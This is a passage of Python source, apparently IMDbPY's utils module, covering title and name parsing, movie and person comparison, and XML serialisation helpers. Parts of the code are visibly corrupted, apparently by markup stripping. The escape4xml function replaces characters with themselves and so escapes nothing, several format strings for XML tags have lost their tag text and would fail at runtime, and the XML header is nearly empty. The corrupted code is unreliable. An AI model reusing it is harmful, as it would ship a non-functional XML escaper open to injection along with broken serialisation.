doesn't handle long imdb titles, but only the\n title portion, without year[/imdbIndex] or special markup.\n The 'lang' argument can be used to specify the language of the title.\n \"\"\"\n isUnicode = isinstance(title, str)\n stitle = title.split(', ')\n articlesDicts = linguistics.articlesDictsForLang(lang)\n if len(stitle) > 1 and stitle[-1].lower() in articlesDicts[isUnicode]:\n sep = ' '\n if stitle[-1][-1] in (\"'\", '-'):\n sep = ''\n _format = '%s%s%s'\n _joiner = ', '\n title = _format % (stitle[-1], sep, _joiner.join(stitle[:-1]))\n return title\n\n\ndef _split_series_episode(title):\n \"\"\"Return the series and the episode titles; if this is not a\n series' episode, the returned series title is empty.\n This function recognize two different styles:\n \"The Series\" An Episode (2005)\n \"The Series\" (2004) {An Episode (2005) (#season.episode)}\"\"\"\n series_title = ''\n episode_or_year = ''\n if title[-1:] == '}':\n # Title of the episode, as in the plain text data files.\n begin_eps = title.rfind('{')\n if begin_eps == -1:\n return '', ''\n series_title = title[:begin_eps].rstrip()\n # episode_or_year is returned with the {...}\n episode_or_year = title[begin_eps:].strip()\n if episode_or_year[:12] == '{SUSPENDED}}':\n return '', ''\n # XXX: works only with tv series; it's still unclear whether\n # IMDb will support episodes for tv mini series and tv movies...\n elif title[0:1] == '\"':\n second_quot = title[1:].find('\"') + 2\n if second_quot != 1: # a second \" was found.\n episode_or_year = title[second_quot:].lstrip()\n first_char = episode_or_year[0:1]\n if not first_char:\n return '', ''\n if first_char != '(':\n # There is not a (year) but the title of the episode;\n # that means this is an episode title, as returned by\n # the web server.\n series_title = title[:second_quot]\n return series_title, episode_or_year\n\n\ndef is_series_episode(title):\n \"\"\"Return True if 'title' is an series episode.\"\"\"\n return bool(_split_series_episode(title.strip())[0])\n\n\ndef analyze_title(title, canonical=None, canonicalSeries=None, canonicalEpisode=None):\n \"\"\"Analyze the given title and return a dictionary with the\n \"stripped\" title, the kind of the show (\"movie\", \"tv series\", etc.),\n the year of production and the optional imdbIndex (a roman number\n used to distinguish between movies with the same title and year).\n\n If canonical is None (default), the title is stored in its own style.\n If canonical is True, the title is converted to canonical style.\n If canonical is False, the title is converted to normal format.\n\n raise an IMDbParserError exception if the title is not valid.\n \"\"\"\n # XXX: introduce the 'lang' argument?\n if canonical is not None:\n canonicalSeries = canonicalEpisode = canonical\n original_t = title\n result = {}\n title = title.split(' aka ')[0].strip().replace('\"\"', '\"')\n year = ''\n kind = ''\n imdbIndex = ''\n series_title, episode_or_year = _split_series_episode(title)\n if series_title:\n # It's an episode of a series.\n series_d = analyze_title(series_title, canonical=canonicalSeries)\n oad = sen = ep_year = ''\n # Plain text data files format.\n if episode_or_year[0:1] == '{' and episode_or_year[-1:] == '}':\n match = re_episode_info.findall(episode_or_year)\n if match:\n # Episode title, original air date and #season.episode\n episode_or_year, oad, sen = match[0]\n episode_or_year = episode_or_year.strip()\n if not oad:\n # No year, but the title is something like (2005-04-12)\n if episode_or_year and episode_or_year[0] == '(' and \\\n episode_or_year[-1:] == ')' and \\\n episode_or_year[1:2] != '#':\n oad = episode_or_year\n if oad[1:5] and oad[5:6] == '-':\n try:\n ep_year = int(oad[1:5])\n except (TypeError, ValueError):\n pass\n if not oad and not sen and episode_or_year.startswith('(#'):\n sen = episode_or_year\n elif episode_or_year.startswith('Episode dated'):\n oad = episode_or_year[14:]\n if oad[-4:].isdigit():\n try:\n ep_year = int(oad[-4:])\n except (TypeError, ValueError):\n pass\n episode_d = analyze_title(episode_or_year, canonical=canonicalEpisode)\n episode_d['kind'] = 'episode'\n episode_d['episode of'] = series_d\n if oad:\n episode_d['original air date'] = oad[1:-1]\n if ep_year and episode_d.get('year') is None:\n episode_d['year'] = ep_year\n if sen and sen[2:-1].find('.') != -1:\n seas, epn = sen[2:-1].split('.')\n if seas:\n # Set season and episode.\n try:\n seas = int(seas)\n except ValueError:\n pass\n try:\n epn = int(epn)\n except ValueError:\n pass\n episode_d['season'] = seas\n if epn:\n episode_d['episode'] = epn\n return episode_d\n # First of all, search for the kind of show.\n # XXX: Number of entries at 17 Apr 2008:\n # movie: 379,871\n # episode: 483,832\n # tv movie: 61,119\n # tv series: 44,795\n # video movie: 57,915\n # tv mini series: 5,497\n # video game: 5,490\n # More up-to-date statistics: http://us.imdb.com/database_statistics\n epindex = re_m_episode.search(title)\n if epindex:\n # It's an episode of a series.\n kind = 'episode'\n series_title = title[epindex.end():]\n season_episode_match = re_m_series.match(series_title)\n if season_episode_match:\n result['season'] = int(season_episode_match.groups()[0])\n result['episode'] = int(season_episode_match.groups()[1])\n series_title = re_m_series.sub('', series_title)\n series_info = analyze_title(series_title)\n result['episode of'] = series_info.get('title')\n result['series year'] = series_info.get('year')\n title = title[:epindex.start()].strip()\n else:\n detected_kind = re_m_kind.findall(title)\n if detected_kind:\n kind = detected_kind[-1].lower().replace('-', '')\n kind = KIND_MAP.get(kind, kind)\n title = re_m_kind.sub('', title).strip()\n # Search for the year and the optional imdbIndex (a roman number).\n yi = re_year_index.findall(title)\n if yi:\n last_yi = yi[-1]\n year = last_yi[0]\n if last_yi[1]:\n imdbIndex = last_yi[1][1:]\n year = year[:-len(imdbIndex) - 1]\n i = title.rfind('(%s)' % last_yi[0])\n if i != -1:\n title = title[:i - 1].rstrip()\n if not imdbIndex:\n detect_imdbIndex = re_m_imdbIndex.findall(title)\n if detect_imdbIndex:\n imdbIndex = detect_imdbIndex[-1]\n title = re_m_imdbIndex.sub('', title).strip()\n # This is a tv (mini) series: strip the '\"' at the begin and at the end.\n # XXX: strip('\"') is not used for compatibility with Python 2.0.\n if title and title[0] == title[-1] == '\"':\n if not kind:\n kind = 'tv series'\n title = title[1:-1].strip()\n if not title:\n raise IMDbParserError('invalid title: \"%s\"' % original_t)\n if canonical is not None:\n if canonical:\n title = canonicalTitle(title)\n else:\n title = normalizeTitle(title)\n result['title'] = title\n if year and year != '????':\n if '-' in year:\n result['series years'] = year\n year = year[:4]\n try:\n result['year'] = int(year)\n except (TypeError, ValueError):\n pass\n if imdbIndex:\n result['imdbIndex'] = imdbIndex.strip()\n result['kind'] = kind or 'movie'\n return result\n\n\n_web_format = '%d %B %Y'\n_ptdf_format = '(%Y-%m-%d)'\n\n\ndef _convertTime(title, fromPTDFtoWEB=True):\n \"\"\"Convert a time expressed in the pain text data files, to\n the 'Episode dated ...' format used on the web site; if\n fromPTDFtoWEB is false, the inverted conversion is applied.\"\"\"\n try:\n if fromPTDFtoWEB:\n from_format = _ptdf_format\n to_format = _web_format\n else:\n from_format = 'Episode dated %s' % _web_format\n to_format = _ptdf_format\n t = strptime(title, from_format)\n title = strftime(to_format, t)\n if fromPTDFtoWEB:\n if title[0] == '0':\n title = title[1:]\n title = 'Episode dated %s' % title\n except ValueError:\n pass\n return title\n\n\ndef build_title(title_dict, canonical=None, canonicalSeries=None,\n canonicalEpisode=None, ptdf=False, lang=None, _doYear=True, appendKind=True):\n \"\"\"Given a dictionary that represents a \"long\" IMDb title,\n return a string.\n\n If canonical is None (default), the title is returned in the stored style.\n If canonical is True, the title is converted to canonical style.\n If canonical is False, the title is converted to normal format.\n\n lang can be used to specify the language of the title.\n\n If ptdf is true, the plain text data files format is used.\n \"\"\"\n if canonical is not None:\n canonicalSeries = canonical\n pre_title = ''\n kind = title_dict.get('kind')\n episode_of = title_dict.get('episode of')\n if kind == 'episode' and episode_of is not None:\n # Works with both Movie instances and plain dictionaries.\n doYear = 0\n if ptdf:\n doYear = 1\n # XXX: for results coming from the new search page.\n if not isinstance(episode_of, (dict, _Container)):\n episode_of = {'title': episode_of, 'kind': 'tv series'}\n if 'series year' in title_dict:\n episode_of['year'] = title_dict['series year']\n pre_title = build_title(episode_of, canonical=canonicalSeries,\n ptdf=False, _doYear=doYear)\n ep_dict = {'title': title_dict.get('title', ''),\n 'imdbIndex': title_dict.get('imdbIndex')}\n ep_title = ep_dict['title']\n if not ptdf:\n doYear = 1\n ep_dict['year'] = title_dict.get('year', '????')\n if ep_title[0:1] == '(' and ep_title[-1:] == ')' and \\\n ep_title[1:5].isdigit():\n ep_dict['title'] = _convertTime(ep_title, fromPTDFtoWEB=True)\n else:\n doYear = 0\n if ep_title.startswith('Episode dated'):\n ep_dict['title'] = _convertTime(ep_title, fromPTDFtoWEB=False)\n episode_title = build_title(ep_dict,\n canonical=canonicalEpisode, ptdf=ptdf,\n _doYear=doYear)\n if ptdf:\n oad = title_dict.get('original air date', '')\n if len(oad) == 10 and oad[4] == '-' and oad[7] == '-' and \\\n episode_title.find(oad) == -1:\n episode_title += ' (%s)' % oad\n seas = title_dict.get('season')\n if seas is not None:\n episode_title += ' (#%s' % seas\n episode = title_dict.get('episode')\n if episode is not None:\n episode_title += '.%s' % episode\n episode_title += ')'\n episode_title = '{%s}' % episode_title\n return '%s %s' % (pre_title, episode_title)\n title = title_dict.get('title', '')\n imdbIndex = title_dict.get('imdbIndex', '')\n if not title:\n return ''\n if canonical is not None:\n if canonical:\n title = canonicalTitle(title, lang=lang, imdbIndex=imdbIndex)\n else:\n title = normalizeTitle(title, lang=lang)\n if pre_title:\n title = '%s %s' % (pre_title, title)\n if kind in ('tv series', 'tv mini series'):\n title = '\"%s\"' % title\n if _doYear:\n year = str(title_dict.get('year')) or '????'\n imdbIndex = title_dict.get('imdbIndex')\n if not ptdf:\n if imdbIndex and (canonical is None or canonical):\n title += ' (%s)' % imdbIndex\n title += ' (%s)' % year\n else:\n title += ' (%s' % year\n if imdbIndex and (canonical is None or canonical):\n title += '/%s' % imdbIndex\n title += ')'\n if appendKind and kind:\n if kind == 'tv movie':\n title += ' (TV)'\n elif kind == 'video movie':\n title += ' (V)'\n elif kind == 'tv mini series':\n title += ' (mini)'\n elif kind == 'video game':\n title += ' (VG)'\n return title\n\n\ndef split_company_name_notes(name):\n \"\"\"Return two strings, the first representing the company name,\n and the other representing the (optional) notes.\"\"\"\n name = name.strip()\n notes = ''\n if name.endswith(')'):\n fpidx = name.find('(')\n if fpidx != -1:\n notes = name[fpidx:]\n name = name[:fpidx].rstrip()\n return name, notes\n\n\ndef analyze_company_name(name, stripNotes=False):\n \"\"\"Return a dictionary with the name and the optional 'country'\n keys, from the given string.\n If stripNotes is true, tries to not consider optional notes.\n\n raise an IMDbParserError exception if the name is not valid.\n \"\"\"\n if stripNotes:\n name = split_company_name_notes(name)[0]\n o_name = name\n name = name.strip()\n country = None\n if name.startswith('['):\n name = re.sub(r'[!@#$\\(\\)\\[\\]]', '', name)\n else:\n if name.endswith(']'):\n idx = name.rfind('[')\n if idx != -1:\n country = name[idx:]\n name = name[:idx].rstrip()\n if not name:\n raise IMDbParserError('invalid name: \"%s\"' % o_name)\n result = {'name': name}\n if country:\n result['country'] = country\n return result\n\n\ndef build_company_name(name_dict):\n \"\"\"Given a dictionary that represents a \"long\" IMDb company name,\n return a string.\n \"\"\"\n name = name_dict.get('name')\n if not name:\n return ''\n country = name_dict.get('country')\n if country is not None:\n name += ' %s' % country\n return name\n\n\n@total_ordering\nclass _LastC:\n \"\"\"Size matters.\"\"\"\n def __lt__(self, other):\n return False\n\n def __eq__(self, other):\n return not isinstance(other, self.__class__)\n\n\n_last = _LastC()\n\n\ndef cmpMovies(m1, m2):\n \"\"\"Compare two movies by year, in reverse order; the imdbIndex is checked\n for movies with the same year of production and title.\"\"\"\n # Sort tv series' episodes.\n m1e = m1.get('episode of')\n m2e = m2.get('episode of')\n if m1e is not None and m2e is not None:\n cmp_series = cmpMovies(m1e, m2e)\n if cmp_series != 0:\n return cmp_series\n m1s = m1.get('season')\n m2s = m2.get('season')\n if m1s is not None and m2s is not None:\n if m1s < m2s:\n return 1\n elif m1s > m2s:\n return -1\n m1p = m1.get('episode')\n m2p = m2.get('episode')\n if m1p < m2p:\n return 1\n elif m1p > m2p:\n return -1\n try:\n if m1e is None:\n m1y = int(m1.get('year', 0))\n else:\n m1y = int(m1e.get('year', 0))\n except ValueError:\n m1y = 0\n try:\n if m2e is None:\n m2y = int(m2.get('year', 0))\n else:\n m2y = int(m2e.get('year', 0))\n except ValueError:\n m2y = 0\n if m1y > m2y:\n return -1\n if m1y < m2y:\n return 1\n # Ok, these movies have the same production year...\n # m1t = m1.get('canonical title', _last)\n # m2t = m2.get('canonical title', _last)\n # It should works also with normal dictionaries (returned from searches).\n # if m1t is _last and m2t is _last:\n m1t = m1.get('title', _last)\n m2t = m2.get('title', _last)\n if m1t < m2t:\n return -1\n if m1t > m2t:\n return 1\n # Ok, these movies have the same title...\n m1i = m1.get('imdbIndex', _last)\n m2i = m2.get('imdbIndex', _last)\n if m1i > m2i:\n return -1\n if m1i < m2i:\n return 1\n m1id = getattr(m1, 'movieID', None)\n # Introduce this check even for other comparisons functions?\n # XXX: is it safe to check without knowing the data access system?\n # probably not a great idea. Check for 'kind', instead?\n if m1id is not None:\n m2id = getattr(m2, 'movieID', None)\n if m1id > m2id:\n return -1\n elif m1id < m2id:\n return 1\n return 0\n\n\ndef cmpPeople(p1, p2):\n \"\"\"Compare two people by billingPos, name and imdbIndex.\"\"\"\n p1b = getattr(p1, 'billingPos', None) or _last\n p2b = getattr(p2, 'billingPos', None) or _last\n if p1b > p2b:\n return 1\n if p1b < p2b:\n return -1\n p1n = p1.get('canonical name', _last)\n p2n = p2.get('canonical name', _last)\n if p1n is _last and p2n is _last:\n p1n = p1.get('name', _last)\n p2n = p2.get('name', _last)\n if p1n > p2n:\n return 1\n if p1n < p2n:\n return -1\n p1i = p1.get('imdbIndex', _last)\n p2i = p2.get('imdbIndex', _last)\n if p1i > p2i:\n return 1\n if p1i < p2i:\n return -1\n return 0\n\n\ndef cmpCompanies(p1, p2):\n \"\"\"Compare two companies.\"\"\"\n p1n = p1.get('long imdb name', _last)\n p2n = p2.get('long imdb name', _last)\n if p1n is _last and p2n is _last:\n p1n = p1.get('name', _last)\n p2n = p2.get('name', _last)\n if p1n > p2n:\n return 1\n if p1n < p2n:\n return -1\n p1i = p1.get('country', _last)\n p2i = p2.get('country', _last)\n if p1i > p2i:\n return 1\n if p1i < p2i:\n return -1\n return 0\n\n\n# References to titles, names and characters.\n# XXX: find better regexp!\nre_titleRef = re.compile(\n r'_(.+?(?: \\([0-9\\?]{4}(?:/[IVXLCDM]+)?\\))?(?: \\(mini\\)| \\(TV\\)| \\(V\\)| \\(VG\\))?)_ \\(qv\\)'\n)\n# FIXME: doesn't match persons with ' in the name.\nre_nameRef = re.compile(r\"'([^']+?)' \\(qv\\)\")\n# XXX: good choice? Are there characters with # in the name?\nre_characterRef = re.compile(r\"#([^']+?)# \\(qv\\)\")\n\n\n# Functions used to filter the text strings.\ndef modNull(s, titlesRefs, namesRefs, charactersRefs):\n \"\"\"Do nothing.\"\"\"\n return s\n\n\ndef modClearTitleRefs(s, titlesRefs, namesRefs, charactersRefs):\n \"\"\"Remove titles references.\"\"\"\n return re_titleRef.sub(r'\\1', s)\n\n\ndef modClearNameRefs(s, titlesRefs, namesRefs, charactersRefs):\n \"\"\"Remove names references.\"\"\"\n return re_nameRef.sub(r'\\1', s)\n\n\ndef modClearCharacterRefs(s, titlesRefs, namesRefs, charactersRefs):\n \"\"\"Remove characters references\"\"\"\n return re_characterRef.sub(r'\\1', s)\n\n\ndef modClearRefs(s, titlesRefs, namesRefs, charactersRefs):\n \"\"\"Remove titles, names and characters references.\"\"\"\n s = modClearTitleRefs(s, {}, {}, {})\n s = modClearCharacterRefs(s, {}, {}, {})\n return modClearNameRefs(s, {}, {}, {})\n\n\ndef modifyStrings(o, modFunct, titlesRefs, namesRefs, charactersRefs):\n \"\"\"Modify a string (or string values in a dictionary or strings\n in a list), using the provided modFunct function and titlesRefs\n namesRefs and charactersRefs references dictionaries.\"\"\"\n # Notice that it doesn't go any deeper than the first two levels in a list.\n if isinstance(o, str):\n return modFunct(o, titlesRefs, namesRefs, charactersRefs)\n elif isinstance(o, (list, tuple, dict)):\n _stillorig = 1\n if isinstance(o, (list, tuple)):\n keys = range(len(o))\n else:\n keys = list(o.keys())\n for i in keys:\n v = o[i]\n if isinstance(v, str):\n if _stillorig:\n o = copy(o)\n _stillorig = 0\n o[i] = modFunct(v, titlesRefs, namesRefs, charactersRefs)\n elif isinstance(v, (list, tuple)):\n modifyStrings(o[i], modFunct, titlesRefs, namesRefs, charactersRefs)\n return o\n\n\ndef date_and_notes(s):\n \"\"\"Parse (birth|death) date and notes; returns a tuple in the\n form (date, notes).\"\"\"\n s = s.strip()\n if not s:\n return '', ''\n notes = ''\n if s[0].isdigit() or s.split()[0].lower() in (\n 'c.', 'january', 'february', 'march', 'april', 'may', 'june',\n 'july', 'august', 'september', 'october', 'november', 'december',\n 'ca.', 'circa', '????,'):\n i = s.find(',')\n if i != -1:\n notes = s[i + 1:].strip()\n s = s[:i]\n else:\n notes = s\n s = ''\n if s == '????':\n s = ''\n return s, notes\n\n\nclass RolesList(list):\n \"\"\"A list of Person or Character instances, used for the currentRole\n property.\"\"\"\n @property\n def notes(self):\n return self._notes\n\n @notes.setter\n def notes(self, notes):\n self._notes = notes\n\n def __init__(self, *args, **kwds):\n self._notes = None\n super(RolesList, self).__init__(*args, **kwds)\n\n def __str__(self):\n return ' / '.join([str(x) for x in self])\n\n\n# Replace & with &, but only if it's not already part of a charref.\n# _re_amp = re.compile(r'(&)(?!\\w+;)', re.I)\n# _re_amp = re.compile(r'(?<=\\W)&(?=[^a-zA-Z0-9_#])')\n_re_amp = re.compile(r'&(?![^a-zA-Z0-9_#]{1,5};)')\n\n\ndef escape4xml(value):\n \"\"\"Escape some chars that can't be present in a XML value.\"\"\"\n if isinstance(value, (int, float)):\n value = str(value)\n value = _re_amp.sub('&', value)\n value = value.replace('\"', '"').replace(\"'\", ''')\n value = value.replace('<', '<').replace('>', '>')\n if isinstance(value, bytes):\n value = value.decode('utf-8', 'xmlcharrefreplace')\n return value\n\n\ndef _refsToReplace(value, modFunct, titlesRefs, namesRefs, charactersRefs):\n \"\"\"Return three lists - for movie titles, persons and characters names -\n with two items tuples: the first item is the reference once escaped\n by the user-provided modFunct function, the second is the same\n reference un-escaped.\"\"\"\n mRefs = []\n for refRe, refTemplate in [(re_titleRef, '_%s_ (qv)'),\n (re_nameRef, \"'%s' (qv)\"),\n (re_characterRef, '#%s# (qv)')]:\n theseRefs = []\n for theRef in refRe.findall(value):\n # refTemplate % theRef values don't change for a single\n # _Container instance, so this is a good candidate for a\n # cache or something - even if it's so rarely used that...\n # Moreover, it can grow - ia.update(...) - and change if\n # modFunct is modified.\n goodValue = modFunct(refTemplate % theRef, titlesRefs, namesRefs, charactersRefs)\n # Prevents problems with crap in plain text data files.\n # We should probably exclude invalid chars and string that\n # are too long in the re_*Ref expressions.\n if '_' in goodValue or len(goodValue) > 128:\n continue\n toReplace = escape4xml(goodValue)\n # Only the 'value' portion is replaced.\n replaceWith = goodValue.replace(theRef, escape4xml(theRef))\n theseRefs.append((toReplace, replaceWith))\n mRefs.append(theseRefs)\n return mRefs\n\n\ndef _handleTextNotes(s):\n \"\"\"Split text::notes strings.\"\"\"\n ssplit = s.split('::', 1)\n if len(ssplit) == 1:\n return s\n return '%s%s' % (ssplit[0], ssplit[1])\n\n\ndef _normalizeValue(value, withRefs=False, modFunct=None, titlesRefs=None,\n namesRefs=None, charactersRefs=None):\n \"\"\"Replace some chars that can't be present in a XML text.\"\"\"\n if not withRefs:\n value = _handleTextNotes(escape4xml(value))\n else:\n # Replace references that were accidentally escaped.\n replaceLists = _refsToReplace(value, modFunct, titlesRefs, namesRefs, charactersRefs)\n value = modFunct(value, titlesRefs or {}, namesRefs or {}, charactersRefs or {})\n value = _handleTextNotes(escape4xml(value))\n for replaceList in replaceLists:\n for toReplace, replaceWith in replaceList:\n value = value.replace(toReplace, replaceWith)\n return value\n\n\ndef _tag4TON(ton, addAccessSystem=False, _containerOnly=False):\n \"\"\"Build a tag for the given _Container instance;\n both open and close tags are returned.\"\"\"\n tag = ton.__class__.__name__.lower()\n what = 'name'\n if tag == 'movie':\n value = ton.get('long imdb title') or ton.get('title', '')\n what = 'title'\n else:\n value = ton.get('long imdb name') or ton.get('name', '')\n value = _normalizeValue(value)\n extras = ''\n crl = ton.currentRole\n if crl:\n if not isinstance(crl, list):\n crl = [crl]\n for cr in crl:\n crTag = cr.__class__.__name__.lower()\n if PY2 and isinstance(cr, unicode):\n crValue = cr\n crID = None\n else:\n crValue = cr.get('long imdb name') or ''\n crID = cr.getID()\n crValue = _normalizeValue(crValue)\n if crID is not None:\n extras += '<%s id=\"%s\">%s' % (\n crTag, crID, crValue, crTag\n )\n else:\n extras += '<%s>%s' % (crTag, crValue, crTag)\n if hasattr(cr, 'notes'):\n extras += '%s' % _normalizeValue(cr.notes)\n extras += ''\n theID = ton.getID()\n if theID is not None:\n beginTag = '<%s id=\"%s\"' % (tag, theID)\n if addAccessSystem and ton.accessSystem:\n beginTag += ' access-system=\"%s\"' % ton.accessSystem\n if not _containerOnly:\n beginTag += '><%s>%s' % (what, value, what)\n else:\n beginTag += '>'\n else:\n # workaround for #350\n beginTag=\"\"\n if not _containerOnly:\n if value:\n beginTag = '<%s><%s>%s' % (tag, what, value, what)\n else:\n beginTag = '<%s>' % tag\n beginTag += extras\n if ton.notes:\n beginTag += '%s' % _normalizeValue(ton.notes)\n if beginTag is \"\":\n return beginTag\n return beginTag, '' % tag\n\n\nTAGS_TO_MODIFY = {\n 'movie.parents-guide': ('item', True),\n 'movie.number-of-votes': ('item', True),\n 'movie.soundtrack.item': ('item', True),\n 'movie.soundtrack.item.item': ('item', True),\n 'movie.quotes': ('quote', False),\n 'movie.quotes.quote': ('line', False),\n 'movie.demographic': ('item', True),\n 'movie.episodes': ('season', True),\n 'movie.episodes.season': ('episode', True),\n 'person.merchandising-links': ('item', True),\n 'person.genres': ('item', True),\n 'person.quotes': ('quote', False),\n 'person.keywords': ('item', True),\n 'character.quotes': ('item', True),\n 'character.quotes.item': ('quote', False),\n 'character.quotes.item.quote': ('line', False)\n}\n\n\n_valid_chars = string.ascii_lowercase + '-' + string.digits\n_translator = str.maketrans(_valid_chars, _valid_chars) if not PY2 else \\\n string.maketrans(_valid_chars, _valid_chars)\n\n\ndef _tagAttr(key, fullpath):\n \"\"\"Return a tuple with a tag name and a (possibly empty) attribute,\n applying the conversions specified in TAGS_TO_MODIFY and checking\n that the tag is safe for a XML document.\"\"\"\n attrs = {}\n _escapedKey = escape4xml(key)\n if fullpath in TAGS_TO_MODIFY:\n tagName, useTitle = TAGS_TO_MODIFY[fullpath]\n if useTitle:\n attrs['key'] = _escapedKey\n elif not isinstance(key, str):\n strType = str(type(key)).replace(\"\", \"\")\n attrs['keytype'] = strType\n tagName = str(key)\n else:\n tagName = key\n if isinstance(key, int):\n attrs['keytype'] = 'int'\n origTagName = tagName\n tagName = tagName.lower().replace(' ', '-')\n tagName = str(tagName).translate(_translator)\n if origTagName != tagName:\n if 'key' not in attrs:\n attrs['key'] = _escapedKey\n if (not tagName) or tagName[0].isdigit() or tagName[0] == '-':\n # This is a fail-safe: we should never be here, since unpredictable\n # keys must be listed in TAGS_TO_MODIFY.\n # This will proably break the DTD/schema, but at least it will\n # produce a valid XML.\n tagName = 'item'\n _utils_logger.error('invalid tag: %s [%s]' % (_escapedKey, fullpath))\n attrs['key'] = _escapedKey\n return tagName, ' '.join(['%s=\"%s\"' % i for i in list(attrs.items())])\n\n\ndef _seq2xml(seq, _l=None, withRefs=False, modFunct=None,\n titlesRefs=None, namesRefs=None, charactersRefs=None,\n _topLevel=True, key2infoset=None, fullpath=''):\n \"\"\"Convert a sequence or a dictionary to a list of XML\n unicode strings.\"\"\"\n if _l is None:\n _l = []\n if isinstance(seq, dict):\n for key in seq:\n value = seq[key]\n if isinstance(key, _Container):\n # Here we're assuming that a _Container is never a top-level\n # key (otherwise we should handle key2infoset).\n openTag, closeTag = _tag4TON(key)\n # So that fullpath will contains something meaningful.\n tagName = key.__class__.__name__.lower()\n else:\n tagName, attrs = _tagAttr(key, fullpath)\n openTag = '<%s' % tagName\n if attrs:\n openTag += ' %s' % attrs\n if _topLevel and key2infoset and key in key2infoset:\n openTag += ' infoset=\"%s\"' % key2infoset[key]\n if isinstance(value, int):\n openTag += ' type=\"int\"'\n elif isinstance(value, float):\n openTag += ' type=\"float\"'\n openTag += '>'\n closeTag = '' % tagName\n _l.append(openTag)\n _seq2xml(value, _l, withRefs, modFunct, titlesRefs,\n namesRefs, charactersRefs, _topLevel=False,\n fullpath='%s.%s' % (fullpath, tagName))\n _l.append(closeTag)\n elif isinstance(seq, (list, tuple)):\n tagName, attrs = _tagAttr('item', fullpath)\n beginTag = '<%s' % tagName\n if attrs:\n beginTag += ' %s' % attrs\n # beginTag += u'>'\n closeTag = '' % tagName\n for item in seq:\n if isinstance(item, _Container):\n _seq2xml(item, _l, withRefs, modFunct, titlesRefs,\n namesRefs, charactersRefs, _topLevel=False,\n fullpath='%s.%s' % (fullpath, item.__class__.__name__.lower()))\n else:\n openTag = beginTag\n if isinstance(item, int):\n openTag += ' type=\"int\"'\n elif isinstance(item, float):\n openTag += ' type=\"float\"'\n openTag += '>'\n _l.append(openTag)\n _seq2xml(item, _l, withRefs, modFunct, titlesRefs,\n namesRefs, charactersRefs, _topLevel=False,\n fullpath='%s.%s' % (fullpath, tagName))\n _l.append(closeTag)\n else:\n if isinstance(seq, _Container):\n _l.extend(_tag4TON(seq))\n elif seq:\n # Text, ints, floats and the like.\n _l.append(_normalizeValue(seq, withRefs=withRefs,\n modFunct=modFunct,\n titlesRefs=titlesRefs,\n namesRefs=namesRefs,\n charactersRefs=charactersRefs))\n return _l\n\n\n_xmlHead = \"\"\"\n\n\n\"\"\"\n\n\n@total_ordering\nclass _Container(object):\n \"\"\"Base class for Movie, Person, Character and Company classes.\"\"\"\n # The default sets of information retrieved.\n default_info = ()\n\n # Aliases for some not-so-intuitive keys.\n keys_alias = {}\n\n # List of keys to modify.\n keys_tomodify_list = ()\n\n # Function used to compare two instances of this class.\n cmpFunct = None\n\n # key that contains the cover/headshot\n _image_key = None\n\n def __init__(self, myID=None, data=None, notes='',\n currentRole='', roleID=None, roleIsPerson=False,\n accessSystem=None, titlesRefs=None, namesRefs=None,\n charactersRefs=None, modFunct=None, *args, **kwds):\n \"\"\"Initialize a Movie, Person, Character or Company object.\n *myID* -- your personal identifier for this object.\n *data* -- a dictionary used to initialize the object.\n *notes* -- notes for the person referred in the currentRole\n attribute; e.g.: '(voice)' or the alias used in the\n movie credits.\n *accessSystem* -- a string representing the data access system used.\n *currentRole* -- a Character instance representing the current role\n or duty of a person in this movie, or a Person\n object representing the actor/actress who played\n a given character in a Movie. If a string is\n passed, an object is automatically build.\n *roleID* -- if available, the characterID/personID of the currentRole\n object.\n *roleIsPerson* -- when False (default) the currentRole is assumed\n to be a Character object, otherwise a Person.\n *titlesRefs* -- a dictionary with references to movies.\n *namesRefs* -- a dictionary with references to persons.\n *charactersRefs* -- a dictionary with references to characters.\n *modFunct* -- function called returning text fields.\n \"\"\"\n self.reset()\n self.accessSystem = accessSystem\n self.myID = myID\n if data is None:\n data = {}\n self.set_data(data, override=True)\n self.notes = notes\n if titlesRefs is None:\n titlesRefs = {}\n self.update_titlesRefs(titlesRefs)\n if namesRefs is None:\n namesRefs = {}\n self.update_namesRefs(namesRefs)\n if charactersRefs is None:\n charactersRefs = {}\n self.update_charactersRefs(charactersRefs)\n self.set_mod_funct(modFunct)\n self.keys_tomodify = {}\n for item in self.keys_tomodify_list:\n self.keys_tomodify[item] = None\n self._roleIsPerson = roleIsPerson\n if not roleIsPerson:\n from imdb.Character import Character\n self._roleClass = Character\n else:\n from imdb.Person import Person\n self._roleClass = Person\n self.currentRole = currentRole\n if roleID:\n self.roleID = roleID\n self._init(*args, **kwds)\n\n def _get_roleID(self):\n \"\"\"Return the characterID or personID of the currentRole object.\"\"\"\n if not self.__role:\n return None\n if isinstance(self.__role, list):\n return [x.getID() for x in self.__role]\n return self.currentRole.getID()\n\n def _set_roleID(self, roleID):\n \"\"\"Set the characterID or personID of the currentRole object.\"\"\"\n if not self.__role:\n # XXX: needed? Just ignore it? It's probably safer to\n # ignore it, to prevent some bugs in the parsers.\n # raise IMDbError,\"Can't set ID of an empty Character/Person object.\"\n pass\n if not self._roleIsPerson:\n if not isinstance(roleID, (list, tuple)):\n if not (PY2 and isinstance(self.currentRole, unicode)):\n self.currentRole.characterID = roleID\n else:\n for index, item in enumerate(roleID):\n r = self.__role[index]\n if PY2 and isinstance(r, unicode):\n continue\n r.characterID = item\n else:\n if not isinstance(roleID, (list, tuple)):\n self.currentRole.personID = roleID\n else:\n for index, item in enumerate(roleID):\n r = self.__role[index]\n if PY2 and isinstance(r, unicode):\n continue\n r.personID = item\n\n roleID = property(_get_roleID, _set_roleID,\n doc=\"the characterID or personID of the currentRole object.\")\n\n def _get_currentRole(self):\n \"\"\"Return a Character or Person instance.\"\"\"\n if self.__role:\n return self.__role\n return self._roleClass(name='', accessSystem=self.accessSystem, modFunct=self.modFunct)\n\n def _set_currentRole(self, role):\n \"\"\"Set self.currentRole to a Character or Person instance.\"\"\"\n if isinstance(role, str):\n if not role:\n self.__role = None\n else:\n self.__role = self._roleClass(name=role, modFunct=self.modFunct,\n accessSystem=self.accessSystem)\n elif isinstance(role, (list, tuple)):\n self.__role = RolesList()\n for item in role:\n if isinstance(item, str):\n self.__role.append(self._roleClass(name=item,\n accessSystem=self.accessSystem,\n modFunct=self.modFunct))\n else:\n self.__role.append(item)\n if not self.__role:\n self.__role = None\n else:\n self.__role = role\n\n currentRole = property(_get_currentRole, _set_currentRole,\n doc=\"The role of a Person in a Movie\"\n \" or the interpreter of a Character in a Movie.\")\n\n def _init(self, **kwds):\n pass\n\n def get_fullsizeURL(self):\n \"\"\"Return the full-size URL for this object.\"\"\"\n if not (self._image_key and self._image_key in 